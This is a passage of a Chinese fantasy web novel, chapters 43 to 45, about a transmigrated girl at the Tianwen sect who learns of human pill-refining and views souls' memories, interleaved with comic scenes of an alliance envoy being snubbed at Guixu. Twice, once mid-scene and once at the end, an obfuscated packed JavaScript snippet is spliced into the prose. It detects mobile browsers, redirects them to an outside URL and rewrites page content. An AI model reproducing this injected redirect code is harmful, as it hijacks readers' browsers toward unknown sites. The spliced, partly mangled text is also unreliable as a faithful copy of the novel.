闻越忽然想起什么,又看向江却:“饭菜还有吗?还有师姐的点心,小悯这会儿回来没吃饭吧?” 江却点点头:“还有,正好留了。” 闻越终于放心下来,看向站在一边一直没说话的步雁山和章存舒:“师父,掌门,你们说云崽什么时候回来?” 章存舒正微微皱着眉:“希望她今日内先不要回来。” 闻越闻言也皱起眉:“为何?” 章存舒看向山门的方向:“因为某个不速之客快到了。” **** 直到那邪修身上不再浮现出新的字迹,关云铮才看向楚恽问道:“我能靠近看看吗?” 那人会不会暴起什么的? 楚恽像是看出了她的忧虑,答道:“这种阵法能够用于审问,是因为它在强行抽取记忆,虽然对他没有太大的伤害,但他此刻更接近于被梦魇困住的状态,不会攻击你。” 关云铮点点头,从座位上站起身往那邪修靠近了一点。 所有的罪行被“提取”完毕后,自动组合起来,在那邪修的头顶排列成几行字。 当然,是竖行。 关云铮一看竖行字就容易看串,不动声色地看了两遍才完整看完,脸色霎时就凝重了起来。 “用……活人炼丹?” 43.第 43 章 对一件事的认知途径,是很影响这份认知的真实性的。 就比如关云铮在学习绦虫的生活史的时候,就没想过现实生活中的绦虫能这么恶心。 她再有想象力,文字也始终是文字,标本制作成的切片也始终只是它漫长生活史中某个阶段的缩影。 绝对没有现实生活中那些因为生食肉类产生的画面来得震撼人心。 哪怕她的某位室友非常热衷于在吃饭的时候聊一些不太下饭的专业课,她也始终认为,认知不与现实结合的话,一定会缺乏一部分真实性。 就像现在。 她没少看过修仙文——虽然后来市面上的修仙基本都是借个由头谈恋爱,遭殃的都是无情道什么的——因此她对活人炼丹也算有所耳闻。 毕竟各行各业总有人想走捷径,一步登天直接走到邪魔外道去的人也海了去了,用活人炼丹就像用杀戮咒,一旦用了就不太能回头了。 但就像她从没想过自己会穿越到修仙世界,她也从没想过真的见识到这些修仙文里的恶行,会是什么样的感觉。 那些被阵法“问”出来的字几乎带着温度,活人炼丹四个字简直灼人眼睛。 左长老方才说这是小事?是因为他不知道此人做过什么,还是他知道但是不在意?又或者,是这样的事实在太多了,修仙界甚至习以为常了? “活人炼丹,是怎么炼的?”她听见自己近乎用喃喃自语的音量说道。 楚恽不知何时已经走到了她身侧:“先前也有其他江湖散修或是邪修用过这个法子炼丹,一般会先放血,用血液炼制的丹药要求更严格,必须要人活着,所以在放血的整个过程中,被抓来炼丹的,”他停顿了一下,“据说他们管这些人叫‘药人’,一直主动或被动地保持着意志的清醒。” “然后呢。”关云铮看着那几行浮在空中的字。 “等到用血液炼制的丹药完成,他们会取人身上的某些部位炼制其他的丹药,修他们这种邪术的人一般都相信以形补形,所以会挖去人的双目炼制明目的药,剖出心脏来炼制针对心血亏损的药。 一般到这个时候,这些残缺不全的药人对于邪修来说就没用了,他们会选择一个地方抛尸,同时服用或交易炼制好的丹药,借用这段时间来转移地点躲避风头,等到风声过去,再度作案。” 楚恽终于说完了,关云铮感觉自己像是被高压水龙头持续性冲了一头一脸,简直像是在空气中溺水,好半晌都喘不上气来。 楚恽关切道:“还好吗?”可能是门中人都对这件事有着麻木一般的习以为常,他还没见过像关云铮这样这么大反应的,一时有点后悔,“我是不是不该同你说这些?” 关云铮摇了摇头:“楚师兄不告诉我,我还以为自己生活在太平盛世呢,龟缩在师门里受人庇护,就以为全天下都幸福美满平安喜乐。” 活人炼丹四个字就像一记毫不留情的耳光,一下就把归墟营造起来的美好全打碎了。 关云铮一直觉得自己最大的优点就是特别能共情,所以21世纪那会儿她总是非常愤怒,因为网络上一天到晚没有什么好消息。 她那时候看过一个博主说,要保持敏感,减少愤怒,一直觉得说得很对,但做到很难。 有那么一段时间她觉得不长大也挺好的,科技不发达也挺好的,至少这样网络就不会把坏消息传播得那么快,她就看不懂那些会让她痛一辈子的新闻。 但那些想法只是一瞬间。 飞速发展的科技和逐渐增长的知识是一种润物细无声的诅咒,享受着这两者便利的同时,清醒的痛苦也会如影随形。 她总是愤怒,甚至义愤填膺。 她就是没法释怀。 楚恽叹了口气:“小悯对这件事的反应跟你很像。” 这大半天下来,除了吃饭时楚恽提过一句楚悯,方才左长老提过一句之外,她没听过楚悯的名字出现在对话里,因此这一声突然的“小悯”像是什么回魂的术法,她骤然从21世纪的回忆里抽离出来,不动声色地深吸了一口气。 楚恽示意关云铮跟他往外走:“不过她表达的方式和你不太一样。她刚知道有这么一类人的时候,跑去溯洄那里待了一整天。” 楚恽像是特意提起溯洄来分散她的注意力一般,看她回过神来说道:“我们去看看溯洄?” **** 青镜山脚下。 严骛快要被马车颠散架了,也不知道皇帝怎么突然管起他们仙盟的事,听他汇报要来归墟,非得派柳卿知一起,说是促进朝廷和各地仙门共同进步。 以前倒不见得皇帝如此积极,谁能想到当时只是走个过场,知会她一声,她却忽然想插手呢? 早知道就不走这个过场了。 柳卿知策马走在马车旁边,见他迟迟不下车,靠近敲了敲窗沿:“严仙长?” 还有这个姓柳的。她真是普通人吗?从朝安城到镜溪居然骑了一路的马,有这体力和耐力去修仙多好?她要是会御剑,自己也不用迁就坐马车了,这一路颠簸得他又是吐又是晕的,久不锻炼的身体遭受不住这番折腾,要不是有早年修炼时的境界撑着,差点在半道就一命呜呼了。 严骛想到这简直没好气,虚弱地回应道:“这就来。” 还没等他掀开帘子,外头一阵轻响,大概是柳卿知下马了。 他当她是变相催促,脸上露出不耐烦的神色,拿了配剑正准备下车时,却忽然听见柳卿知对着某人说道:“未提前告知便来此,多有叨扰。” 归墟的人已经来了? 严骛强打精神撩开帘子,正对上步雁山看过来的视线。 居然不是章存舒? 步雁山朝他点了点头:“严前辈。” 严骛被这一声叫得很舒心。虽然年纪上他没比步雁山长多少,但他好歹在仙盟混了这么些年,步雁山一个后起之秀,做掌门的年岁也不久,喊他一声前辈也是应该的。 “步掌门。”他端起假笑问候。 “柳大人用过午膳了吗?”步雁山转向柳卿知。 柳卿知策马奔波一路,衣衫都不见乱,脸上的神情更是无懈可击,十分之得体大方:“尚未,麻烦步掌门。” 严骛的假笑稍微有点没挂住。 虽然他早已辟谷,但步雁山略过他的需求直接询问柳卿知,是不是也太不把他放在眼里了? 好在步雁山并没有把他晾在原地太久,招呼过柳卿知后又看向他:“严前辈可要立刻开始观摩?” 严骛运了一口气,默念了几遍清心诀强打精神:“就现在吧。” 步雁山笑容很温和:“好,那请前辈随我来。” 严骛抬腿跟上。 片刻之后,他看着眼前漫长的石阶陷入沉思。 青镜山以前就有这么多石阶吗?这得走到何时? 像是察觉到他在想什么,步雁山转过身看向他:“前辈?” 严骛朝他笑了笑:“归墟弟子除了日常修炼,还需这般苦修吗?” 步雁山对他回了个笑容:“仙门境内大多不允许御剑飞行,前辈见谅。” 归墟掌门听懂了他的暗示并给出致命一击。 严骛简直想吐血。 柳卿知老神在在地走在步雁山旁边,神态动作看着比严骛这个修仙的还像修仙的。 严骛不禁为自己过去这几年的惫懒感到懊悔,但仙盟事务繁多,平日案牍劳形之余,已无精力进行修炼,体能退步也是情理之中。 他在心里这样为自己辩解着。 走着走着,他觉得似乎有哪里不太对,但疲累的双腿占据了他所有的心神,他一时之间心思没能转过来,到底是哪里不对。 直到他看见了步雁山安排带他观摩的人。 严骛不可控制地抽了抽嘴角。 这不是归墟唯一一个无情道弟子吗?她来带路?到时候不会他一个人说了半天,她就“嗯”一声吧?那他干脆别观摩了。 任嵩华在她那届仙门大比中脱颖而出的时候,严骛刚坐上仙盟的位置,对她最后那场比试印象深刻。 她原来是步雁山的徒弟?可他分明记得当初她的名牌上并未记录师从何人。 步雁山像是没看出他神色有异,笑着说:“嵩华,劳你带严前辈观摩一番。” 任嵩华点头应下,走到严骛面前,利落地把剑背到身后:“前辈请随我来。” 然后这六个字就成为了任嵩华这一天下来对他说的唯一一句话。 **** 关云铮听见了水声,或者准确点说,是瀑布的动静。 她看向一边的楚恽:“是溯洄吗?” 楚恽对着她点点头。 她还以为溯洄会像不熄鼎一样,坐落于某个山头,抵达需要费些工夫,结果只是从议事堂出来,走了这么一会儿,镇山灵器就近在眼前了。 从抵达方式上来说,多少有些“平易近人” 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“是在溯洄里停留的岁月。”楚恽的话再度否认了她所有的猜测。 “起先它们只是不愿投入轮回,错过了合适的时间之后只能来到溯洄,后来待的时间越久,它们就会越‘浑浊’,越无法溯洄。” 就像……洄游时逆流而上的鱼群吗? 试的次数越多,越是筋疲力尽,越是无法成功洄游,最后死在河流中。 “没有办法让它们投入轮回吗?”关云铮问了个在此时显得十分徒劳的问题。 楚恽没介意她这样“外行”的提问,解释道:“生死是有时序的,在不该生的时候生,不该死的时候死,甚至不该弥留之际弥留,都会造成无法颠覆的结果。 早生者必不得善终,猝然逝世者必有更好的一世轮回,弥留之人……定然找不到来途与去路。” 这套规律只在修仙世界生效吗?还是在不同于此世的21世纪也能通行?如果是的话,她至少能宽慰自己,这辈子过得很苦的人下辈子会有好的生活。 但是谁会记得魂灵的印记?谁能知道这辈子颠沛流离的人下辈子会不会有一个安稳的家? 楚恽看她对着溯洄出神,轻声问道:“云铮在想什么?” 关云铮回过神来:“如何得知,弥留在此的魂魄都是无处可去的呢?”她意识到自己问了个很像“废话”的问题,解释道,“我的意思是,对溯洄的了解应当有一个过程?你们是如何确定,在其中的魂魄都是无处可去的呢?” 楚恽了然:“因为此处魂魄的记忆可以被‘问’出。” 果然。 这里可是天问啊。 关云铮没忍住问道:“我能看看吗?那些记忆。” “当然。”楚恽干脆地答道,又说,“不过弥留太久的魂魄,颜色深的那些,大概已经问不出什么了。其他的魂魄也只有他们生前最深刻的记忆。” 关云铮并不介意:“我就是想看看,他们为什么会留下来。” **** 楚悯说完了自己这半日的经历,刚觉出几分口渴,连映已经把一杯茶端到她眼前。 “多谢师姐。”楚悯弯弯眼睛,捧起茶盏喝了一口。 闻越心有余悸似的也灌了一口茶:“鹧鸪山也太凶险了,他们总不会每日都出去捕猎灵兽吧?” 章存舒在吃连映给他留的点心,一口下去兔子直接少了俩耳朵:“不会,况且他们捕猎的多数都并非灵兽,山中灵气拢共就那么些,哪里够所有的兽类都开灵智?” “那岂不是更名正言顺了?没有灵智的猛兽伤人,也不必顾忌对它们动杀招了。”闻越皱了皱眉。 楚悯没说话。 江却把一小碟点心推到楚悯面前,接上话茬:“不可妄议。” 闻越撇撇嘴,正打算说什么,发现章存舒手里的兔子已经没头了,故作震惊道:“师父!你怎么把兔头先吃了!” 章存舒神色平静地看他一眼:“不然先吃腿?又不是真兔子。” 楚悯被逗笑,差点被茶水呛了一下。 连映轻轻拍了拍她的后背。 “不知道云崽什么时候回来。”楚悯有些担心。 章存舒又拣了块点心:“她在天问。” 楚悯愣了一下:“天问?” 44.第 44 章 翻阅溯洄中的记忆需要一点时间,楚恽开始还陪同着,半途过来个天问弟子传话,说掌门找他有事。 楚恽不得已只好离开,走前还挺不放心似的,很想嘱咐关云铮几句的样子。 溯洄边有个石制棋枰,边长得有半米多,旁边围了四个形状相似的石凳。 关云铮正坐在其中一个石凳上“翻阅”记忆,感觉到视线转过头,正对上楚恽的眼神。 她还当楚恽接到传话就走了,此刻不由困惑:“楚师兄?” 楚恽看了她半晌,像是想说点什么,良久过去,却只在溯洄的水流冲击声里问她:“山风凉,乾坤袋里有多的衣服吗?” 关云铮本来想回答自己身上穿着归墟的衣服,里头缝了符咒,不冷,但想了想还是配合着低头,拿出乾坤袋摸了摸,从里头找出一件披风来。 虽然她也不知道这件披风哪来的,毕竟她所知的那件披风已经被她送给那个不知姓名的姑娘了。 楚恽这才放心下来,点点头走了。 关云铮把披风团巴团巴放在腿上,本打算继续翻阅记忆,又觉得这样对待披风不太好,没准过会儿都皱了,索性又抖开,想了想直接披上,把两条绳子随便一系。 大概又是在她不知道的时候塞进来的吧,就像那朵干花。 关云铮把视线放回棋枰。 溯洄之下,或者应该说源头,是跟其他瀑布别无二致的一汪水潭,因为并不承受瀑布自上而下的冲击,所以毫无波澜,显得格外幽深。 方才她还疑惑,这样要怎么“翻阅”记忆,总不能掬一捧溯洄的水来看吧?再说了溯洄里流的真的是水吗?不熄鼎底下燃的也不是火啊。 结果就见楚恽移动了一下棋枰上的一枚棋子。 很难形容在那之后她看见的画面。 那石制的棋枰是深黑色的,人为凿刻出棋枰上的痕迹,作为棋盘的界线。楚恽移动了那枚棋子后,所有的痕迹从那枚棋子周围辐射着亮起来,像是有水流注入了这些凹槽。 待到所有的刻痕都亮了起来,一团云雾似的东西从那枚棋子上缓缓升起,关云铮伸出手,那云雾像被她吸收了一样,瞬间就消失在了她之间。 ——然后她眼前就出现了一缕魂魄的记忆。 就挺神奇的。 虽然她第一时间又想探究原理,但彼时楚恽就在旁边,为她解释道:“这棋枰之上流动的就是溯洄,你要是不想看了,就把这颗棋子移到正中。” 关云铮点点头,就这样在棋枰边一直坐到楚恽离开。 楚恽刚走,她就松了一口气似的骤然塌下肩膀,还没等她心里嘀咕几句,就听见心魔引在她识海里开口了。 关云铮默默把刚拔出一截的摇羽又戳回剑鞘里了。她可不想像昨晚一样又充当骂战之中的搬运工,甚至还不收中间商差价,血亏。 “镇山灵器周围灵气充溢,所以封印会松动,你才能开口。”关云铮面无表情地下了个结论。 心魔引的话音凝滞了片刻:“那又如何?” 关云铮继续看魂魄记忆:“我起先还觉得,心魔引听着这么厉害的东西,邪修好端端地怎么舍得给我。原来是你太弱了,他急着脱手。” 心魔引不知道破防了没,总之暂时没声了。 关云铮懒得搭理它,寻思回归墟后得加紧修炼,跟章存舒学习该怎么屏蔽这东西说话的声音,不然也太烦了。 溯洄在棋枰之上缓慢地流动着,漆黑的石面看不见魂魄的颜色,称量不出重量。 但记忆有温度。 关云铮连着看了几段死者生前最为印象深刻的记忆,发现都是一些……跟她想象中颇有出入的小事。 有个死者记忆里只有一棵树,一会儿只剩枯枝,一会儿缀了满枝头的花,一会儿又结了果子。 有个死者死前似乎很饿,记忆里一直在街头寻找着什么,从热气腾腾的包子摊,到闹哄哄的酒楼,最终什么地方也没去,就这样一直走到长街的尽头,走到记忆也消散的地方。 楚恽说这些魂魄到最后只会残留最深刻的记忆,她还以为会看见无数有关死亡的景象,甚至已经做好了准备…… 逐渐涌现出的魂魄记忆这时候也忽然停顿了片刻,关云铮正疑惑,识海里的心魔引又开口了:“你猜下一缕魂魄是谁?” 停顿太久,关云铮本来已经打算不继续看了,闻言移动棋子的动作一顿:“你什么意思?” 一般来说,“你猜是谁”这种问题的潜在含义是,这个答案是对话双方都认识的人,并且提问的人认为,被问的人听到这个问题的答案时一定会感到非常惊讶。 关云铮松开指间的棋子,意识到现在可能需要做更充足的心理准备了。 ——因为心魔引和她都认识的,能让心魔引用这种非常期待她反应的语气提起的,已经“死”了只剩魂魄的人,只有原身。 **** “仙盟的人已经到了吗?”楚悯坐在秋千上,月下逢被她放在腿上。 章存舒坐在石桌边泡茶:“嗯,不知道来的人你认不认识。” 楚悯困惑:“我认识?” 章存舒颔首:“严骛,听过这个名字吗?” 楚悯皱眉想了一会儿,如实摇了摇头。 闻越在章存舒旁边的位置上坐着,闻言笑出声来:“我倒是听过,他要是知道自己并不如他想象的有名气,估计能气得绕归墟跑上好几圈。” 章存舒也笑:“那得之后再跑了,今日他恐怕没有这精力。”他递给楚悯一盏泡好的茶,“他今日光是走那石阶就得走断腿。你又是怎么听说他的?” 闻越把另一盏茶端走:“石阶?青镜山下什么时候有石阶了?”他茫然地看向连映。 连映忍笑:“应该是师父和掌门今日‘铺设’的吧。” 楚悯也忍笑,没忍住。 闻越已经笑出声了:“那他恐怕真要气死了。”他优哉游哉地喝了口茶,“我家以前是朝安的,是我进归墟修道后,大哥才带着我来镜溪城落脚。” 他把茶盏放下:“我大哥跟柳相有些交情,仙盟换人偶尔会向朝廷报备,所以知道严骛这人的名字。”他一边回忆一边说道,“是个剑修,境界大概是金丹中期,不知道在仙盟这几年境界有没有倒退。是个很会钻营,非常懂得投机取巧的人。” 章存舒点点头,没说话,用沉默和肢体语言表示赞同。 闻越对上江却看过来的视线,摊开双手:“柳相原话,我可没添油加醋。” 江却失笑:“我没说你添油加醋。” 闻越给自己又加了点茶:“所以有很长一阵子我都以为他名字里的骛是那个鹜,野鸭子那个鹜,毕竟整日里扑腾来扑腾去的,结果居然不是那个鹜。” 这下所有人都笑了,楚悯问道:“所以是哪个骛?好高骛远的骛?” 闻越点点头,还想喝茶,手里的茶盏被连映拿走了:“还喝?不睡觉了?” 他后知后觉自己已经灌了两杯茶下肚,师父还总是偏好浓茶,这个量再喝下去确实该睡不着了,故而也没反驳,对连映笑了笑又继续说道:“不过他没什么家世,不是靠这样那样的关系走上的这个位置,哪怕是钻营也是一个人铆足了劲钻,也算是有本事吧。” 章存舒“嗯”了声:“这也是柳相原话?” 闻越思考了一会儿:“忘了,也可能是我大哥说的。商人和为官者看待人的角度不太一样,柳相是寒门出身,从底层一步步靠实绩走到今天的,其间固然得到过其他人的赏识提拔,但也是因为她有配得上赏识的能力作为敲门砖,她自然不太看得惯严骛这种人,放进朝廷大概只会结党营私。 我大哥就没柳相那么无私,对严骛没什么看法单纯是因为仙盟人损害不了他这个平民百姓的利益,所以他懒得多说。” 章存舒听着想笑:“你就这么说你大哥?” 闻越不太在乎地说道:“一颗真心总共就那么点,亲人分一点,友人分一点,其余匀出一点,做生意时不要太过黑心,就已经剩不下多少了,会这么想也是人之常情吧?我本可以独身来归墟修炼,是我大哥主动说来青镜山脚下做生意,我才能偶尔下山回个家,享受了这么多好处却反过来指责他不够有良心,不是更没良心吗?” 章存舒深以为然地点点头,没再说什么。 闻越忽然撇了撇嘴:“云崽不在都没人接我的话了。” 楚悯抱着琴笑起来:“我今日也总在想,要是云崽同我一起去了灵兽派,估计就没叶泯开口的机会了。” 江却没见识过关云铮火力全开的样子,闻言困惑道:“云铮在的话会如何?” 楚悯想象了一下,放下琴站起身。 四人从石桌边看过来。 楚悯做了个捋胡子的姿势:“楚修士可愿为我卜算一番?” 她又换了个站位,抬起头:“可以,给钱。” 连映:“噗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028710|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻越:“哈哈哈哈哈哈哈哈哈。” 连江却都没忍住。 章存舒差点被茶水呛到,不动声色地又喝了一口茶:“嗯,确实像云崽干得出来的事。” 楚悯笑了一下,又坐回秋千:“也不知道云崽现在在做什么。” **** 关云铮正在看关云筝的记忆。 殷含绮明明跟她说过,被引魂的人最终的结局都是身死魂消,为什么关云筝的魂魄不仅没有消散还来到了溯洄? 难道因为这具身体并没有“死”?还是有什么别的原因? 棋枰上看不清魂魄的颜色,她只能看见记忆中的一片虚无。 到处都是朦胧的,看不见景色也看不清人影,甚至听不见任何声音。 心魔引不知道是怎么“看见”的,语气听上去颇为感兴趣似的:“这记忆……?” 关云铮没说话,她在等待,哪怕没有可能,她也想在记忆里看见原身弥留之际印象最深的画面,就好像这是她对她唯一的了解途径。 一片寂静,好像溯洄倒流的声音也从她的世界消失了。 关云铮失望透顶,正打算把那颗棋子移回棋枰正中,却忽然听见那记忆里传来一个陌生的声音。 “你当真自愿?” 随后是一个与她现在的声线有些接近的声音:“是,我自愿。” **** 严骛觉得不对劲,十分不对劲。 这一路走来,归墟中不说全部,大部分地方他都已经见过了,却没见到一个应该在这接受教习的弟子,遇见的大多都超了年纪,并且不在听课,各有自己的事情要做。 但他不能问任嵩华,因为她是不会回答的。 要不是任嵩华最开始同他说了一句话,他真的怀疑过她是不是哑巴。 邪了门了,归墟这些弟子都上哪儿去了? 步雁山把他随手塞给一个弟子,自己又去哪了? 严骛很想禀报仙盟,随即发觉自己就是仙盟。 任嵩华不知何时已经与他拉开了一段距离,再一抬眼,人已经拐过转角不见了。严骛快走几步,在转角处陷入茫然:该往哪走? 他看了眼右边的连廊,决定走上去看看。 严骛拖着酸软的腿往前走,还没走出几步远,脚边突然窜过什么东西,吓了他一条,腰间配剑都不自觉出鞘几分。 “栖霜。”一个声音随即传来。 那东西窜出一丈远后才在一张石桌边停下,那坐在石凳上的人俯身把它抱起来,抬眼看向他。 严骛在心里自嘲,真是仙盟的安稳日子过久了,一只貂都能把他吓得出剑了。 他把剑收回去,还没开口,对面那人已经隔着连廊先开口了:“你是何人?” 语气十分不友善。 严骛皱起眉头,虽然不知对面是谁,但他多年没听过别人对自己用这种语气说话了:“你又是何人?” 凌风起懒得理他,抱着栖霜起身就打算走。 严骛心道真是奇了,难道步雁山没有告知门中人仙盟要来吗?他抬高声音:“我是仙盟严骛,敢问仙长姓名?” 凌风起停下脚步,用严骛非常不喜欢的视线打量了他一番,随后反应寡淡地答道:“仙盟的在这做什么?这是我的院子。” 你的院子不也是归墟地界?他都来归墟视察了,谁的院子看不得? 严骛这几年还没吃过这么不客气的闭门羹,闻言语气不由得不善起来:“步掌门没同你说过吗?仙盟来归墟观摩教习的事。” 凌风起哼笑了一声:“我师弟没同你说过吗?今日归墟没有教习内容。” 严骛一愣:“什么意思?” 凌风起摸着怀里雪貂的毛发,头也没抬:“我说得不够明白?还是你仙盟里待久了已经听不懂仙门人说话了?” 严骛再好的涵养此刻也被一句又一句的顶撞消磨殆尽,闻言大为光火:“你到底是什么人?怎么敢对仙盟如此不敬?” 栖霜在凌风起怀里动了动,凌风起弯腰把它放下,迈步走到连廊前:“各地仙门遇到困难的时候仙盟又在哪个世外桃源逍遥快活?你都有脸来,我怎么不敢说?” 严骛觉得这人简直莫名其妙,仙盟什么时候对各地仙门的事务漠不关心了,一定是仙门不曾上报,他们才会有所疏漏。 “你到底是谁?” 凌风起懒得再同他废话,一甩袖子走了:“小小丹修,不足挂贵齿。” 45.第 45 章 自愿?自愿什么? 关云铮魂不守舍地把那枚棋子移回棋枰正中,停止了对溯洄中魂魄记忆的翻阅。 心魔引在她识海里想说些什么,她权当没感觉到,大步离开溯洄的范围,没有了逸散的灵气冲开封印的压制,心魔引重新回到了失声的状态,在识海里被关第三次不知期限的禁闭。 关云铮不知道楚恽在哪里,她现在迫切地想跟那个邪修谈谈,但她既不知道那邪修还在不在议事堂,也不知道她能不能跟那个邪修谈话。 一方面那邪修被提取记忆之后有点恍惚,不知道天问会不会允许她在这种前提下进行又一次问询;另一方面,毕竟那人是邪修,名门正派除了审问,和他能有什么可谈的?她的用心经得起推敲和质疑吗? 她自己固然问心无愧,但又该怎么跟别人解释:明明询问已经结束,阵法也已经把症状抽丝剥茧般罗列清楚,在这样的前提下,她也还是非跟那个邪修交谈不可呢? 所以找到楚恽就成为了当下的关键。 但她对天问实在是不甚了解,本想沿着原路返回,走到一半偏偏撞上方才议事堂里见过的坐主位的长老。 其实关云铮对他的身份有些猜测,毕竟一般来说能在两位长老之间坐主位的,除了掌门也不太可能有别的人了。 她对掌门这类人的认知仅限于21世纪仙侠剧里不苟言笑的形象,或者步雁山那样温和可亲的。 就……比较极端,没有中间项。 好在天问这位看起来属于前一类,还算比较熟悉这个风格。 关云铮又在胡思乱想,两秒后否认自己方才的看法:哪里好了?都不敢跟他搭话! 现在这种迎面撞上的情形之下她都不知道该说什么! 疑似掌门的这位好像没看出她的窘迫似的,先一步停下,对她说道:“找楚恽?” 关云铮在心里疯狂感慨掌门善解人意(字面意思):“是,敢问楚师兄在……?” 掌门语气很平淡:“他有些事要忙,找他何事?” 关云铮决定收回几秒前在心里夸他善解人意的话。 掌门说的话一会儿像读不懂她脸色,一会儿又像洞悉一切,说话水平像六脉神剑一样时好时坏:“有话要同他说?我可以转达。” 关云铮陷入沉默。 怎么感觉这掌门看着是人形,实际像一根很聪明的棒槌…… 掌门看她半天不回应,脸上露出了一点非常不明显的“恍然”:“是今日那个邪修的事?” 关云铮一愣,刚想说点什么,掌门已经接着说道:“他应当还在议事堂,你要是想问什么可以去。” 她好半晌说不出话。不知道怎么形容这种感觉,之前小悯偶尔流露出来过这种,让人稍微有点不寒而栗的洞悉,但是小悯的洞悉比较温和,带着点关切,面前这位…… 怎么说呢就挺像ai的。 没有人比ai更懂人心.jpg 关云铮纠结了好一会儿,正想说点什么,那掌门已经要走了。 ?不是? 她急忙对着他一鞠躬:“多谢掌门。” 掌门回过头来看了她一眼,脸上没什么表情:“不必。” ……那您也不必为了说这俩字特意转过身的。 掌门终于往她身后的方向走远了,关云铮舒了一口气,继续往议事堂的方向走了。 **** 严骛从没见过说话这么不客气的人,那坏脾气丹修几句话几乎说得他气血上涌,令人愤怒的同时还有点匪夷所思。 以前只知道归墟是个小门派,今年把弟子们放到归墟接受教习还是上头的决定,不少人对归墟的印象还停留在从前的破落户,没成想如今一来,人家已经不把仙盟放在眼里了! 严骛一边在脑子里想着回去之后如何禀报,一边在连廊上愤然往前走。 刚要走过连廊转角,任嵩华不知从哪里冒出来,缩地成寸似的突然出现在他面前。 严骛差点被吓个半死。 她本就比寻常女子都高出一截,脸上又常年没什么表情,身上的衣着也是白色为主,再加上此刻天色渐晚,连廊上没有灯,显出几分昏暗。 此情此景之下,纵然他深知仙门中不可能出现鬼魂,也差点以为自己是撞见鬼了。 这种时候正常人一般都能看出他受了惊,口头道歉或安抚几句,而任嵩华只是平静地朝他一点头,随即又转过身,同他各走各的了。 仿佛只是发现他跟丢了回来找个人。 好个无情道。 他愤愤然又无可奈何,只好跟上去,谁料没走多久,任嵩华又是朝他一点头,做完这个动作后腰间的剑就出鞘了。 严骛一把按住了自己腰间配剑的剑柄。 怎么,要动手?归墟怕不是要造反? 步雁山的声音从他身后传来:“严前辈。” 严骛脸上的戒备还没收回去,闻言骤然转过头,差点闪着脖子:“何事?” 步雁山笑眯眯的:“嵩华应当已经带您观摩结束了,我带您去歇息。” 严骛闻言又回头看了眼任嵩华:“那她拔剑做什么?” 步雁山仿佛现在才看见任嵩华在严骛面前拔剑似的,恍然道:“是这样的,严前辈,嵩华同我一起住在来去峰山头,那儿步行回去实在不便,所以需要御剑。” 严骛瞪大眼睛:“你先前分明说仙门中不得御剑?” 步雁山神色很坦然:“您要是想去来去峰山头观摩一番,也可御剑前往。” 严骛双腿酸软得快抬不起来了,闻言立即反驳道:“我并不打算去,只是分明能够因事破例……” 步雁山会意似的点点头:“先前我看柳大人并无此意,便以为您也不需要,是我考虑不周了。” 严骛……严骛要被气死了。 **** 几人在关云铮的小院说说笑笑,柳卿知到的时候章存舒刚泡好第二壶茶。 “这么巧,看来我来的时机恰好。”柳卿知笑了笑说道。 她此刻和平时不太一样。 在朝堂上她是冷情冷性只认法度的宰相,杀伐果决得让人怀疑她当的不是宰相是阎王。 前两个月涝灾时私吞赈灾粮款的那位早就在牢里死得不能再死了,权势滔天的地方官员,苍韫桢和她都最讨厌这种人。大厦已倾,手底下的猢狲还在吱哇乱叫,递上来喊冤、给自己摘干净的折子一日里没成高山也成丘陵,好像生怕这两个脾气不好的皇帝和宰相找不到他们的错处。 有些当官的对苍韫桢总有种误解,他们觉得她是女人,就会顾虑更多,忌惮更深,不敢像剔去腐肉一样一口气把所有的官员都料理干净,谁料苍韫桢想也不想就把这批叫屈喊冤的全斩了。柳卿知当时就坐在监斩台上,十几个人头落地眼睛也不眨一下。 苍韫桢下旨的时候说了什么? “朕盯着办了这么些年的科举,真当朕无人可用吗?” 而彼时的她就站在台阶之下,与身后所有的官员穿着不同颜色的朝服,面色冰冷得像是立马要提刀去斩了那群乱臣贼子的项上人头。 而此刻她像个邻家姐姐。不穿朝服时她对衣着和颜色没什么讲究,只不过因为一路骑马,所以此刻还穿着窄袖。 其实她经常在苍韫桢面前展现出温和的这一面,但旁人确实很难见到这样的柳相。 冰冷无情是她镶嵌在脸上的假面。 连映起身坐到楚悯旁边,给柳卿知让出位置。 其实闻越更想逃跑,但确实是师姐去跟小悯一起坐秋千更合适,故而他只能如坐针毡地待在位置上,看柳卿知在他旁边坐下来。 柳卿知装作没看出他的不自在,闻越最猫嫌狗不待见的那几年还在朝安城,不巧,做过的丢脸事她几乎都见证过,会不自在也很正常。她从章存舒面前拿过为她准备的那盏茶,喝了一口才说:“我有点明白为什么让你师弟当这个掌门了。” 章存舒也跟她一样揣着明白装糊涂,闻言若有所思道:“他怎么了?” 闻越也暂时把不自在抛诸脑后,摸着早就没有茶水的茶盏外沿偷,不是,光明正大地听。 柳卿知倒是不会跟章存舒一样谜语人,很直白地说道:“笑眯眯地戳人心窝子。” 闻越无端被口水呛了下,他一边咳一边对着看过来的两位大人摆摆手,示意自己没事,心里想着:这也太直白了! 柳卿知继续喝茶:“姓严的最恼火这一套,膈应是真的,没法撒火也是真的,哎呀,他那个要气死的样子,想想就高兴。” 这下连章存舒都感到震惊了:“你现在说话像苍韫桢。” 柳卿知稍微收敛了一下不常出现在她脸上的幸灾乐祸: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036914|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 